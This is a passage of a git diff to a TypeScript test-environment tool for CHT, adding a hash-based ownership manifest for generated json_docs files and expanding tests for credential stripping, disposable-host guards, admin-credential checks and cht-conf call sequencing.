+    .sort((a, b) => a.localeCompare(b));
+};
+
+const hashDocFile = (dataPath: string, file: string): string =>
+  createHash('sha256').update(readFileSync(join(docDirOf(dataPath), file))).digest('hex');
+
+/** An absent or unreadable manifest proves nothing is ours, which fails closed. */
+const readOwnershipManifest = (dataPath: string): Record<string, unknown> => {
+  try {
+    const parsed: unknown = JSON.parse(readFileSync(join(dataPath, OWNERSHIP_MANIFEST), 'utf-8'));
+    return parsed !== null && typeof parsed === 'object' ? (parsed as Record<string, unknown>) : {};
+  } catch {
+    return {};
   }
-  return names.length;
 };
 
 /**
- * Read the docs csv-to-docs generated at `<dataPath>/json_docs`. Returns []
- * when the directory does not exist (csv-to-docs warns-and-skips when there
- * is no csv/ input, leaving no json_docs behind — the agent turns the empty
- * list into a warning). A malformed doc file throws: the seeding evidence and
- * the reset worklist both come from this listing, so guessing is worse than
- * failing loudly.
+ * Record every doc file now in json_docs as generated by this layer. Only call it right
+ * after csv-to-docs ran into a json_docs that held nothing else (see prepareDocs).
  */
-export const readSeededDocs = (dataPath: string): SeededDoc[] => {
-  const docDir = join(dataPath, 'json_docs');
-  if (!existsSync(docDir)) {
-    return [];
+export const recordOwnedDocFiles = (dataPath: string): void => {
+  const manifest: Record<string, string> = {};
+  for (const file of listDocFiles(dataPath)) {
+    manifest[file] = hashDocFile(dataPath, file);
+  }
+  writeFileSync(join(dataPath, OWNERSHIP_MANIFEST), `${JSON.stringify(manifest, null, 2)}\n`);
+};
+
+/**
+ * Doc files this layer cannot prove it generated: not in the manifest, or edited since.
+ * json_docs is also cht-conf's hand-authored upload-docs input, so these are the operator's.
+ */
+export const findForeignDocFiles = (dataPath: string): string[] => {
+  const manifest = readOwnershipManifest(dataPath);
+  return listDocFiles(dataPath).filter((file) => manifest[file] !== hashDocFile(dataPath, file));
+};
+
+/** Delete the doc files a previous csv-to-docs run generated, while unchanged. Returns the count. */
+export const removeOwnedDocFiles = (dataPath: string): number => {
+  const manifest = readOwnershipManifest(dataPath);
+  const owned = listDocFiles(dataPath).filter((file) => manifest[file] === hashDocFile(dataPath, file));
+  for (const file of owned) {
+    unlinkSync(join(docDirOf(dataPath), file));
+  }
+  return owned.length;
+};
+
+const parseSeededDoc = (dataPath: string, file: string): SeededDoc => {
+  let doc: { _id?: string; type?: string; contact_type?: string };
+  try {
+    doc = JSON.parse(readFileSync(join(docDirOf(dataPath), file), 'utf-8'));
+  } catch (error) {
+    throw new Error(`json_docs/${file} is not valid JSON: ${(error as Error).message}`);
   }
-  return readdirSync(docDir)
-    .filter((name) => name.endsWith(DOC_FILE_EXTENSION))
-    .sort()
-    .map((name) => {
-      const raw = readFileSync(join(docDir, name), 'utf-8');
-      const doc = JSON.parse(raw) as { _id?: string; type?: string; contact_type?: string };
-      return {
-        id: doc._id ?? name.slice(0, -DOC_FILE_EXTENSION.length),
-        type: doc.type ?? '',
-        ...(doc.contact_type !== undefined ? { contactType: doc.contact_type } : {}),
-      };
-    });
+  return {
+    id: doc._id ?? basename(file, DOC_FILE_EXTENSION),
+    type: doc.type ?? '',
+    ...(doc.contact_type !== undefined ? { contactType: doc.contact_type } : {}),
+  };
 };
 
+/**
+ * Read every doc under `<dataPath>/json_docs` (recursively). A malformed file throws, naming
+ * it: the seeding evidence and the reset worklist both come from this listing.
+ */
+export const readSeededDocs = (dataPath: string): SeededDoc[] =>
+  listDocFiles(dataPath).map((file) => parseSeededDoc(dataPath, file));
+
 /** Which TestDataResult bucket a single seeded doc counts toward. */
 type DocBucket = 'places' | 'people' | 'reports' | 'skip';
 
diff --git a/test/agents/test-environment-agent.spec.ts b/test/agents/test-environment-agent.spec.ts
index 486e4128..9429589e 100644
--- a/test/agents/test-environment-agent.spec.ts
+++ b/test/agents/test-environment-agent.spec.ts
@@ -1,4 +1,5 @@
 import { expect } from 'chai';
+import { resolve } from 'node:path';
 import * as sinon from 'sinon';
 import { TestEnvironmentAgent } from '../../src/agents/test-environment-agent';
 import * as chtConfRunner from '../../src/utils/cht-conf-runner';
@@ -59,7 +60,7 @@ describe('TestEnvironmentAgent', () => {
       const handle = await agent.provision({ version: '4.18.0' });
 
       expect(handle.source).to.equal('mock');
-      expect(handle.chtCorePath).to.equal(undefined);
+      expect(handle.chtCorePath).to.be.undefined;
     });
 
     it('should carry chtCorePath on the handle when built from local code', async () => {
@@ -68,6 +69,25 @@ describe('TestEnvironmentAgent', () => {
       expect(handle.chtCorePath).to.equal('/workspace/cht-core');
     });
 
+    it('should strip embedded credentials from a mock handle, as the real path does', async () => {
+      const handle = await agent.provision({ version: '4.18.0', url: 'https://ops:secret@nginx' });
+
+      expect(handle.url).to.equal('https://nginx');
+      expect(handle.url).to.not.include('secret');
+      expect(handle.auth).to.deep.equal({ user: 'ops', password: 'secret' });
+    });
+
+    it('should reject an invalid mock URL without carrying its password on the error', async () => {
+      try {
+        await agent.provision({ version: '4.18.0', url: 'https://ops:secret@exa mple' });
+        expect.fail('expected provision to reject');
+      } catch (error) {
+        expect((error as Error).message).to.include('not a valid URL');
+        expect((error as Error).message).to.not.include('secret');
+        expect((error as { input?: string }).input).to.be.undefined;
+      }
+    });
+
     it('should honor a network override', async () => {
       const handle = await agent.provision({ version: '4.18.0', network: 'custom-net' });
 
@@ -94,8 +114,25 @@ describe('TestEnvironmentAgent', () => {
 
     describe('real mode (useMockDocker: false)', () => {
       let fetchStub: sinon.SinonStub;
+      // Readiness asks for the monitoring JSON; the credential check then reads /_session.
+      const healthyFetch = async (url: string) => ({
+        ok: true,
+        status: 200,
+        json: async () =>
+          url.endsWith('/_session')
+            ? { userCtx: { name: 'medic', roles: ['_admin'] } }
+            : { version: { app: '4.18.0', couchdb: '3.4.2' } },
+      });
+      const sessionAnswering = (status: number, userCtx: unknown) => async (url: string) =>
+        url.endsWith('/_session') ? { ok: status < 300, status, json: async () => ({ userCtx }) } : healthyFetch(url);
       // Provision reads these; isolate every test from the ambient env.
-      const PROVISION_ENV_KEYS = ['CHT_URL', 'COUCHDB_USER', 'COUCHDB_PASSWORD', 'CHT_TEST_ENV_ALLOW_EXTERNAL'];
+      const PROVISION_ENV_KEYS = [
+        'CHT_URL',
+        'COUCHDB_USER',
+        'COUCHDB_PASSWORD',
+        'CHT_TEST_ENV_ALLOW_EXTERNAL',
+        'CHT_TEST_ENV_PROJECT',
+      ];
       const priorProvisionEnv: Record<string, string | undefined> = {};
 
       beforeEach(() => {
@@ -118,7 +155,7 @@ describe('TestEnvironmentAgent', () => {
       });
 
       it('should return a docker handle once the environment is healthy', async () => {
-        fetchStub.resolves({ ok: true, status: 200 });
+        fetchStub.callsFake(healthyFetch);
         const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
 
         const handle = await realAgent.provision({ chtCorePath: '/workspace/cht-core' });
@@ -131,7 +168,7 @@ describe('TestEnvironmentAgent', () => {
       });
 
       it('should print the bring-up gate with the cht-core path shell-quoted', async () => {
-        fetchStub.resolves({ ok: true, status: 200 });
+        fetchStub.callsFake(healthyFetch);
         const logSpy = sinon.spy(console, 'log');
         const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
 
@@ -141,17 +178,40 @@ describe('TestEnvironmentAgent', () => {
         expect(lines.some((line) => line.includes("scripts/test-env-up.sh '/workspace/cht-core'"))).to.equal(true);
       });
 
-      it('should print a runnable bring-up gate when no cht-core path is known', async () => {
-        fetchStub.resolves({ ok: true, status: 200 });
+      it('should refuse a published version: real mode brings stacks up from a working copy only', async () => {
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        try {
+          await realAgent.provision({ version: '4.18.0' });
+          expect.fail('expected provision to reject');
+        } catch (error) {
+          expect((error as Error).message).to.include('no published-version bring-up');
+        }
+        expect(fetchStub.called).to.equal(false);
+      });
+
+      it('should carry an explicit CHT_TEST_ENV_PROJECT into the printed gate', async () => {
+        fetchStub.callsFake(healthyFetch);
+        process.env.CHT_TEST_ENV_PROJECT = 'my-proj';
         const logSpy = sinon.spy(console, 'log');
         const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
 
-        await realAgent.provision({ version: '4.18.0' });
+        await realAgent.provision({ chtCorePath: '/workspace/cht-core' });
 
         const lines = logSpy.getCalls().map((call) => String(call.args[0]));
-        const gate = lines.find((line) => line.includes('scripts/test-env-up.sh'));
-        expect(gate).to.be.a('string');
-        expect(gate).to.not.include('<cht-core>');
+        const gate = "CHT_TEST_ENV_PROJECT='my-proj' scripts/test-env-up.sh '/workspace/cht-core'";
+        expect(lines.some((line) => line.includes(gate))).to.equal(true);
+      });
+
+      it('should refuse a custom network, which the scripts and the override hardcode', async () => {
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        try {
+          await realAgent.provision({ chtCorePath: '/workspace/cht-core', network: 'other-net' });
+          expect.fail('expected provision to reject');
+        } catch (error) {
+          expect((error as Error).message).to.include('hardcode cht-agent-net');
+        }
       });
 
       it('should reject if the environment never becomes ready', async () => {
@@ -182,11 +242,11 @@ describe('TestEnvironmentAgent', () => {
 
       describe('disposable-target guard', () => {
         it('should allow http for a local disposable instance', async () => {
-          fetchStub.resolves({ ok: true, status: 200 });
+          fetchStub.callsFake(healthyFetch);
           process.env.CHT_URL = 'http://localhost:5988';
           const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
 
-          const handle = await realAgent.provision({ version: '4.18.0' });
+          const handle = await realAgent.provision({ chtCorePath: '/workspace/cht-core' });
 
           expect(handle.url).to.equal('http://localhost:5988');
         });
@@ -196,7 +256,7 @@ describe('TestEnvironmentAgent', () => {
           const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
 
           try {
-            await realAgent.provision({ version: '4.18.0', allowExternalTarget: true });
+            await realAgent.provision({ chtCorePath: '/workspace/cht-core', allowExternalTarget: true });
             expect.fail('expected provision to reject');
           } catch (error) {
             expect((error as Error).message).to.include('https is required');
@@ -204,12 +264,66 @@ describe('TestEnvironmentAgent', () => {
           expect(fetchStub.called).to.equal(false);
         });
 
+        it('should refuse a PUBLIC address behind the dashed-IP resolver', async () => {
+          // local-ip.medicmobile.org answers for ANY address, 203.0.113.5 included.
+          process.env.CHT_URL = 'https://203-0-113-5.local-ip.medicmobile.org';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          try {
+            await realAgent.provision({ chtCorePath: '/workspace/cht-core' });
+            expect.fail('expected provision to reject');
+          } catch (error) {
+            expect((error as Error).message).to.include('not a known disposable test instance');
+          }
+          expect(fetchStub.called).to.equal(false);
+        });
+
+        it('should fail provision when the credentials are wrong, naming the user, not on a later call', async () => {
+          fetchStub.callsFake(sessionAnswering(401, undefined));
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          try {
+            await realAgent.provision({ chtCorePath: '/workspace/cht-core' });
+            expect.fail('expected provision to reject');
+          } catch (error) {
+            expect((error as Error).message).to.include('could not verify the credentials for medic');
+            expect((error as Error).message).to.include('401');
+          }
+        });
+
+        it('should refuse credentials that authenticate but are not a CouchDB admin', async () => {
+          fetchStub.callsFake(sessionAnswering(200, { name: 'chw', roles: ['chw'] }));
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          try {
+            await realAgent.provision({ chtCorePath: '/workspace/cht-core' });
+            expect.fail('expected provision to reject');
+          } catch (error) {
+            expect((error as Error).message).to.include('not a CouchDB admin');
+          }
+          const sessionCall = fetchStub.getCalls().find((call) => String(call.args[0]).endsWith('/_session'));
+          expect(sessionCall?.args[0]).to.equal('https://nginx/_session');
+          expect(sessionCall?.args[1].headers.Authorization).to.equal(
+            `Basic ${Buffer.from('medic:password').toString('base64')}`
+          );
+        });
+
+        it('should default COUCHDB_USER and COUCHDB_PASSWORD independently, as the scripts do', async () => {
+          fetchStub.callsFake(healthyFetch);
+          process.env.COUCHDB_USER = 'ops';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          const handle = await realAgent.provision({ chtCorePath: '/workspace/cht-core' });
+
+          expect(handle.auth).to.deep.equal({ user: 'ops', password: 'password' });
+        });
+
         it('should refuse an unknown host without an explicit opt-in', async () => {
           process.env.CHT_URL = 'https://staging.example';
           const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
 
           try {
-            await realAgent.provision({ version: '4.18.0' });
+            await realAgent.provision({ chtCorePath: '/workspace/cht-core' });
             expect.fail('expected provision to reject');
           } catch (error) {
             expect((error as Error).message).to.include('not a known disposable test instance');
@@ -222,7 +336,7 @@ describe('TestEnvironmentAgent', () => {
           const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
 
           try {
-            await realAgent.provision({ version: '4.18.0', allowExternalTarget: true });
+            await realAgent.provision({ chtCorePath: '/workspace/cht-core', allowExternalTarget: true });
             expect.fail('expected provision to reject');
           } catch (error) {
             expect((error as Error).message).to.include('refusing the built-in default credentials');
@@ -230,11 +344,11 @@ describe('TestEnvironmentAgent', () => {
         });
 
         it('should accept the cht-docker-helper host used by the published-version bring-up', async () => {
-          fetchStub.resolves({ ok: true, status: 200 });
+          fetchStub.callsFake(healthyFetch);
           process.env.CHT_URL = 'https://192-168-1-10.local-ip.medicmobile.org';
           const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
 
-          const handle = await realAgent.provision({ version: '4.18.0' });
+          const handle = await realAgent.provision({ chtCorePath: '/workspace/cht-core' });
 
           expect(handle.url).to.equal('https://192-168-1-10.local-ip.medicmobile.org');
         });
@@ -244,7 +358,7 @@ describe('TestEnvironmentAgent', () => {
           const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
 
           try {
-            await realAgent.provision({ version: '4.18.0', allowExternalTarget: true });
+            await realAgent.provision({ chtCorePath: '/workspace/cht-core', allowExternalTarget: true });
             expect.fail('expected provision to reject');
           } catch (error) {
             expect((error as Error).message).to.include('refusing the built-in default credentials');
@@ -252,13 +366,13 @@ describe('TestEnvironmentAgent', () => {
         });
 
         it('should honor the CHT_TEST_ENV_ALLOW_EXTERNAL opt-in once credentials are supplied', async () => {
-          fetchStub.resolves({ ok: true, status: 200 });
+          fetchStub.callsFake(healthyFetch);
           process.env.CHT_URL = 'https://staging.example';
           process.env.CHT_TEST_ENV_ALLOW_EXTERNAL = '1';
           process.env.COUCHDB_PASSWORD = 'realpass';
           const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
 
-          const handle = await realAgent.provision({ version: '4.18.0' });
+          const handle = await realAgent.provision({ chtCorePath: '/workspace/cht-core' });
 
           expect(handle.url).to.equal('https://staging.example');
         });
@@ -268,12 +382,12 @@ describe('TestEnvironmentAgent', () => {
         // Env save/clear/restore is handled by the enclosing describe.
 
         it('should fall back to process.env.CHT_URL when no url option is given', async () => {
-          fetchStub.resolves({ ok: true, status: 200 });
+          fetchStub.callsFake(healthyFetch);
           process.env.CHT_URL = 'https://cht.example';
           const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
 
           const handle = await realAgent.provision({
-            version: '4.18.0',
+            chtCorePath: '/workspace/cht-core',
             allowExternalTarget: true,
             auth: { user: 'ops', password: 'opspass' },
           });
@@ -283,12 +397,12 @@ describe('TestEnvironmentAgent', () => {
         });
 
         it('should prefer an explicit url option over CHT_URL', async () => {
-          fetchStub.resolves({ ok: true, status: 200 });
+          fetchStub.callsFake(healthyFetch);
           process.env.CHT_URL = 'https://cht.example';
           const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
 
           const handle = await realAgent.provision({
-            version: '4.18.0',
+            chtCorePath: '/workspace/cht-core',
             url: 'https://explicit.example',
             allowExternalTarget: true,
             auth: { user: 'ops', password: 'opspass' },
@@ -298,22 +412,22 @@ describe('TestEnvironmentAgent', () => {
         });
 
         it('should ignore a blank CHT_URL and use the on-network default', async () => {
-          fetchStub.resolves({ ok: true, status: 200 });
+          fetchStub.callsFake(healthyFetch);
           process.env.CHT_URL = '   ';
           const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
 
-          const handle = await realAgent.provision({ version: '4.18.0' });
+          const handle = await realAgent.provision({ chtCorePath: '/workspace/cht-core' });
 
           expect(handle.url).to.equal('https://nginx');
         });
 
         it('should canonicalize a trailing slash so appended paths and tracking keys stay stable', async () => {
-          fetchStub.resolves({ ok: true, status: 200 });
+          fetchStub.callsFake(healthyFetch);
           process.env.CHT_URL = 'https://cht.example/';
           const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
 
           const handle = await realAgent.provision({
-            version: '4.18.0',
+            chtCorePath: '/workspace/cht-core',
             allowExternalTarget: true,
             auth: { user: 'ops', password: 'opspass' },
           });
@@ -323,12 +437,12 @@ describe('TestEnvironmentAgent', () => {
         });
 
         it('should strip embedded credentials out of the URL (logged + fetch()ed) into the auth fallback', async () => {
-          fetchStub.resolves({ ok: true, status: 200 });
+          fetchStub.callsFake(healthyFetch);
           // undici's fetch() rejects credentialed URLs, and handle.url is logged.
           process.env.CHT_URL = 'https://ops:p%40ss@cht.example';
           const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
 
-          const handle = await realAgent.provision({ version: '4.18.0', allowExternalTarget: true });
+          const handle = await realAgent.provision({ chtCorePath: '/workspace/cht-core', allowExternalTarget: true });
 
           expect(handle.url).to.equal('https://cht.example');
           expect(handle.auth).to.deep.equal({ user: 'ops', password: 'p@ss' });
@@ -336,35 +450,35 @@ describe('TestEnvironmentAgent', () => {
         });
 
         it('should tolerate a raw % in embedded credentials instead of crashing provision', async () => {
-          fetchStub.resolves({ ok: true, status: 200 });
+          fetchStub.callsFake(healthyFetch);
           process.env.CHT_URL = 'https://ops:p%ss@cht.example';
           const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
 
-          const handle = await realAgent.provision({ version: '4.18.0', allowExternalTarget: true });
+          const handle = await realAgent.provision({ chtCorePath: '/workspace/cht-core', allowExternalTarget: true });
 
           expect(handle.auth).to.deep.equal({ user: 'ops', password: 'p%ss' });
           expect(handle.url).to.equal('https://cht.example');
         });
 
         it('should honor the COUCHDB_USER/COUCHDB_PASSWORD env seam (test-env-up.sh parity)', async () => {
-          fetchStub.resolves({ ok: true, status: 200 });
+          fetchStub.callsFake(healthyFetch);
           process.env.COUCHDB_USER = 'admin';
           process.env.COUCHDB_PASSWORD = 'not-the-default';
           const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
 
-          const handle = await realAgent.provision({ version: '4.18.0' });
+          const handle = await realAgent.provision({ chtCorePath: '/workspace/cht-core' });
 
           expect(handle.auth).to.deep.equal({ user: 'admin', password: 'not-the-default' });
         });
 
         it('should prefer explicit auth over URL-embedded and env credentials', async () => {
-          fetchStub.resolves({ ok: true, status: 200 });
+          fetchStub.callsFake(healthyFetch);
           process.env.CHT_URL = 'https://ops:urlpass@cht.example';
           process.env.COUCHDB_PASSWORD = 'envpass';
           const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
 
           const handle = await realAgent.provision({
-            version: '4.18.0',
+            chtCorePath: '/workspace/cht-core',
             auth: { user: 'explicit', password: 'explicitpass' },
             allowExternalTarget: true,
           });
@@ -846,16 +960,28 @@ describe('TestEnvironmentAgent', () => {
       let runChtConfStub: sinon.SinonStub;
       let readSeededDocsStub: sinon.SinonStub;
       let hasUsersCsvStub: sinon.SinonStub;
-      let cleanSeededDocsStub: sinon.SinonStub;
+      let hasCsvInputStub: sinon.SinonStub;
+      let findForeignStub: sinon.SinonStub;
+      let removeOwnedStub: sinon.SinonStub;
+      let recordOwnedStub: sinon.SinonStub;
+      // cht-conf output per verb; a seed makes up to three separate calls.
+      let runs: Record<string, ChtConfExecResult>;
+      const verbsRun = (): string[] => runChtConfStub.getCalls().map((call) => call.args[0].verbs[0]);
 
       beforeEach(() => {
         realAgent = new TestEnvironmentAgent({ useMockDocker: false });
-        runChtConfStub = sinon.stub(chtConfRunner, 'runChtConf');
-        runChtConfStub.onCall(0).resolves(okRun(ansiInfo('Summary: 5 of 5 docs uploaded OK.')));
-        runChtConfStub.onCall(1).resolves(okRun(ansiInfo('Creating user alice')));
+        runs = {
+          'csv-to-docs': okRun(ansiInfo('Processing 5 rows')),
+          'upload-docs': okRun(ansiInfo('Summary: 5 of 5 docs uploaded OK.')),
+          'create-users': okRun(ansiInfo('Creating user alice')),
+        };
+        runChtConfStub = sinon.stub(chtConfRunner, 'runChtConf').callsFake(async (opts) => runs[opts.verbs[0]]);
         readSeededDocsStub = sinon.stub(testData, 'readSeededDocs').returns(seededDocs);
         hasUsersCsvStub = sinon.stub(testData, 'hasUsersCsv').returns(true);
-        cleanSeededDocsStub = sinon.stub(testData, 'cleanSeededDocs').returns(0);
+        hasCsvInputStub = sinon.stub(testData, 'hasCsvInput').returns(true);
+        findForeignStub = sinon.stub(testData, 'findForeignDocFiles').returns([]);
+        removeOwnedStub = sinon.stub(testData, 'removeOwnedDocFiles').returns(0);
+        recordOwnedStub = sinon.stub(testData, 'recordOwnedDocFiles');
       });
 
       afterEach(() => {
@@ -871,27 +997,87 @@ describe('TestEnvironmentAgent', () => {
         }
       });
 
-      it('should clear a previous run\'s stale json_docs before converting', async () => {
-        cleanSeededDocsStub.returns(3);
+      it('should run csv-to-docs, upload-docs and create-users as separate cht-conf calls', async () => {
+        await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
+
+        expect(verbsRun()).to.deep.equal(['csv-to-docs', 'upload-docs', 'create-users']);
+        const uploadCall = runChtConfStub.secondCall.args[0];
+        expect(uploadCall.instanceUrl).to.equal('https://medic:password@nginx/');
+        expect(uploadCall.configPath).to.equal(dataPath);
+        expect(uploadCall.cwd).to.equal(dataPath);
+      });
+
+      it('should pass an absolute path to cht-conf when given a relative dataPath', async () => {
+        await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath: 'relative/data' });
+
+        const call = runChtConfStub.firstCall.args[0];
+        expect(call.configPath).to.equal(resolve('relative/data'));
+        expect(call.cwd).to.equal(resolve('relative/data'));
+      });
+
+      it('should clear the files a previous run generated before converting', async () => {
+        removeOwnedStub.returns(3);
+
+        await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
+
+        expect(removeOwnedStub.calledOnceWith(dataPath)).to.equal(true);
+        expect(removeOwnedStub.calledBefore(runChtConfStub)).to.equal(true);
+      });
+
+      it('should refuse json_docs files it did not generate, naming them, before touching anything', async () => {
+        // json_docs is also cht-conf's hand-authored upload-docs input directory.
+        findForeignStub.returns(['hand-authored.doc.json']);
+
+        try {
+          await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
+          expect.fail('expected prepareTestData to reject');
+        } catch (error) {
+          expect((error as Error).message).to.include('did not generate');
+          expect((error as Error).message).to.include('hand-authored.doc.json');
+        }
+        expect(removeOwnedStub.called).to.equal(false);
+        expect(runChtConfStub.called).to.equal(false);
+      });
+
+      it('should upload a hand-authored json_docs untouched when there is no csv input', async () => {
+        hasCsvInputStub.returns(false);
 
         await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
 
-        expect(cleanSeededDocsStub.calledOnceWith(dataPath)).to.equal(true);
-        expect(cleanSeededDocsStub.calledBefore(runChtConfStub)).to.equal(true);
+        expect(findForeignStub.called).to.equal(false);
+        expect(removeOwnedStub.called).to.equal(false);
+        expect(recordOwnedStub.called).to.equal(false);
+        expect(verbsRun()).to.deep.equal(['upload-docs', 'create-users']);
       });
 
-      it('should run csv-to-docs + upload-docs, then create-users, via the runner', async () => {
+      it('should record what csv-to-docs generated as this layer\'s own', async () => {
         await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
 
-        expect(runChtConfStub.callCount).to.equal(2);
-        const docsCall = runChtConfStub.firstCall.args[0];
-        expect(docsCall.verbs).to.deep.equal(['csv-to-docs', 'upload-docs']);
-        expect(docsCall.instanceUrl).to.equal('https://medic:password@nginx/');
-        expect(docsCall.configPath).to.equal(dataPath);
-        expect(docsCall.cwd).to.equal(dataPath);
-        const usersCall = runChtConfStub.secondCall.args[0];
-        expect(usersCall.verbs).to.deep.equal(['create-users']);
-        expect(usersCall.configPath).to.equal(dataPath);
+        expect(recordOwnedStub.calledOnceWith(dataPath)).to.equal(true);
+        expect(recordOwnedStub.firstCall.calledAfter(runChtConfStub.firstCall)).to.equal(true);
+      });
+
+      it('should record partial csv-to-docs output too, and not upload, when conversion fails', async () => {
+        runs['csv-to-docs'] = { exitCode: 1, output: '\x1b[31mERROR bad row 3 \x1b[0m', timedOut: false };
+
+        const result = await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
+
+        expect(recordOwnedStub.calledOnce).to.equal(true);
+        expect(verbsRun()).to.not.include('upload-docs');
+        expect(result.succeeded).to.equal(false);
+        expect(result.warnings.join(' ')).to.include('ERROR bad row 3');
+      });
+
+      it('should refuse protected config ids BEFORE upload-docs can write them', async () => {
+        readSeededDocsStub.returns([{ id: 'place-1', type: 'clinic' }, { id: 'settings', type: 'clinic' }]);
+
+        try {
+          await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
+          expect.fail('expected prepareTestData to reject');
+        } catch (error) {
+          expect((error as Error).message).to.include('contains protected config doc(s) settings');
+        }
+        expect(verbsRun()).to.deep.equal(['csv-to-docs']);
       });
 
       it('should classify the seeded docs against the discovered config', async () => {
@@ -907,7 +1093,7 @@ describe('TestEnvironmentAgent', () => {
       });
 
       it('should count created users from the create-users output', async () => {
-        runChtConfStub.onCall(1).resolves(okRun([ansiInfo('Creating user alice'), ansiInfo('Creating user bob')].join('\n')));
+        runs['create-users'] = okRun([ansiInfo('Creating user alice'), ansiInfo('Creating user bob')].join('\n'));
 
         const result = await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
 
@@ -919,49 +1105,50 @@ describe('TestEnvironmentAgent', () => {
 
         const result = await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
 
-        expect(runChtConfStub.callCount).to.equal(1);
+        expect(verbsRun()).to.deep.equal(['csv-to-docs', 'upload-docs']);
         expect(result.usersCreated).to.equal(0);
         expect(result.succeeded).to.equal(true);
       });
 
-      it('should warn on a partial upload without failing the seed', async () => {
-        runChtConfStub.onCall(0).resolves(okRun(ansiInfo('Summary: 3 of 5 docs uploaded OK.')));
+      it('should report succeeded:false on a partial upload, and say why', async () => {
+        // upload-docs exits 0 even when it rejects docs; re-seeding a static dataset conflicts.
+        runs['upload-docs'] = okRun(ansiInfo('Summary: 3 of 5 docs uploaded OK.'));
 
         const result = await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
 
-        expect(result.succeeded).to.equal(true);
+        expect(result.succeeded).to.equal(false);
         expect(result.warnings.join(' ')).to.include('only 3 of 5 docs uploaded');
       });
 
-      it('should warn when nothing was uploaded (no csv inputs)', async () => {
-        runChtConfStub.onCall(0).resolves(okRun(ansiInfo('No csv directory found at /mnt/test-data/csv.')));
+      it('should warn when json_docs ends up empty (no csv inputs)', async () => {
+        runs['csv-to-docs'] = okRun(ansiInfo('No csv directory found at /mnt/test-data/csv.'));
+        runs['upload-docs'] = okRun('');
         readSeededDocsStub.returns([]);
         hasUsersCsvStub.returns(false);
 
         const result = await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
 
         expect(result.seededDocIds).to.deep.equal([]);
-        expect(result.warnings.join(' ')).to.include('no docs were uploaded');
+        expect(result.warnings.join(' ')).to.include('no docs in /mnt/test-data/json_docs');
       });
 
-      it('should report succeeded:false when the docs run fails, still returning the disk evidence', async () => {
-        runChtConfStub.onCall(0).resolves({ exitCode: 1, output: 'ERROR boom', timedOut: false });
+      it('should report succeeded:false when upload-docs fails, with cht-conf\'s reason', async () => {
+        runs['upload-docs'] = { exitCode: 1, output: '\x1b[31mERROR boom \x1b[0m', timedOut: false };
 
         const result = await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
 
         expect(result.succeeded).to.equal(false);
         expect(result.warnings.join(' ')).to.include('exited with code 1');
+        expect(result.warnings.join(' ')).to.include('ERROR boom');
         expect(result.seededDocIds).to.have.lengthOf(5);
       });
 
       it('should not count the create-users attempt that failed', async () => {
-        runChtConfStub
-          .onCall(1)
-          .resolves({
-            exitCode: 1,
-            output: [ansiInfo('Creating user alice'), ansiInfo('Creating user bob'), 'ERROR 400'].join('\n'),
-            timedOut: false,
-          });
+        runs['create-users'] = {
+          exitCode: 1,
+          output: [ansiInfo('Creating user alice'), ansiInfo('Creating user bob'), 'ERROR 400'].join('\n'),
+          timedOut: false,
+        };
 
         const result = await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
 
@@ -1024,7 +1211,9 @@ describe('TestEnvironmentAgent', () => {
         await realAgent.reset(dockerHandle, 'full');
 
         const lines = logSpy.getCalls().map((call) => String(call.args[0]));
-        const expected = "scripts/test-env-down.sh '/workspace/cht-core' && scripts/test-env-up.sh '/workspace/cht-core'";
+        // A full reset is a fresh stack, so the gate rebuilds (Model A tests the code as it is now).
+        const expected =
+          "scripts/test-env-down.sh '/workspace/cht-core' && CHT_CORE_REBUILD=1 scripts/test-env-up.sh '/workspace/cht-core'";
         expect(lines.some((line) => line.includes(expected))).to.equal(true);
       });
 
@@ -1054,7 +1243,8 @@ describe('TestEnvironmentAgent', () => {
             { id: 'person-1', type: 'person' },
           ]);
           sinon.stub(testData, 'hasUsersCsv').returns(false);
-          sinon.stub(testData, 'cleanSeededDocs').returns(0);
+          // Stubbed explicitly: the real existsSync would silently decide which path runs.
+          sinon.stub(testData, 'hasCsvInput').returns(false);
           fetchDocRevsStub = sinon.stub(chtApi, 'fetchDocRevs').resolves([
             { id: 'place-1', rev: '7-live' },
             { id: 'person-1', rev: '2-live' },
@@ -1092,8 +1282,9 @@ describe('TestEnvironmentAgent', () => {
 
           await agentUnderTest.reset(dockerHandle, 'couchdb');
 
-          expect(fetchDocRevsStub.calledOnceWith('https://nginx', dockerHandle.auth, ['place-1', 'person-1']))
-            .to.equal(true);
